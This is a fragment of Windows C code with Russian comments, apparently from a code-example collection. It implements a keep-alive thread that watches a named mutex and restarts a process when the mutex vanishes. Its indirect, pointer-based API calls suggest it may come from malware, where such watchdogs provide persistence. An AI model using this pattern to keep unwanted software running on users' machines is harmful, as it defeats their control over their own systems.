	return bRet;
}
Example #29
0
DWORD KeepAliveCheckProcessThread(LPVOID ProcessNomber)
{
	// Поток проверки жизни процесса

	PCHAR MutexName = GetKeepAliveMutexName((DWORD)ProcessNomber);
	if (MutexName == NULL) return 0;

	// Запускаем бесконечный цикл проверки существования мютекса
	// отсутствие мютекса означает, что процесс создавший мютекс
	// "упал" и требует перезапуска

    const static DWORD MinInterval = 60000;

	DWORD FailedCount  = 0; // Количество проваленных попыток открытия мютекса
	DWORD RestartCount = 0; // Количество перезапусков с интервалом меньше доступного
	DWORD RestartTime  = 0;  // Время одного перезапуска



	while (true)
	{
		// Открываем мютекс
		HANDLE Handle = (HANDLE)pOpenMutexA(MUTEX_ALL_ACCESS, false, MutexName);
		if (Handle != NULL)
		{
			// Мютекс существует.
			// Обнуляем счётчик провалов
		   FailedCount = 0;

           pCloseHandle(Handle);
		}
		else
		{
			// Мютекс отсутствует, принимаем меры для устранения проблемы
			FailedCount++;

			if (FailedCount >= 5)
			{
				// перезапускаем процесс

				FailedCount = 0;
				KeepAliveRestartProcess((DWORD)ProcessNomber);

				// Проверяем время рестарта
				DWORD NewTime = (DWORD)pGetTickCount();
				if (RestartTime != 0)
				{
					if ((NewTime - RestartTime) <= MinInterval)
					{
						RestartCount++;
						if (RestartCount >= 3)
						{
							// процесс не стабилен и часто падает.
							// Во избежание нагрузки на ПК и психику
							// пользователя прекращаем мониторинг не стабильного
							// процесса
							return 0;
                        }
					}
					else
					{
						RestartTime  = 0;
						RestartCount = 0; // Обнуляем счтчик частоты перезапуска
					}
				}

				RestartTime = NewTime;
            }
		}
		// Приостанавливаем поток
        pSleep(2000);
	}
}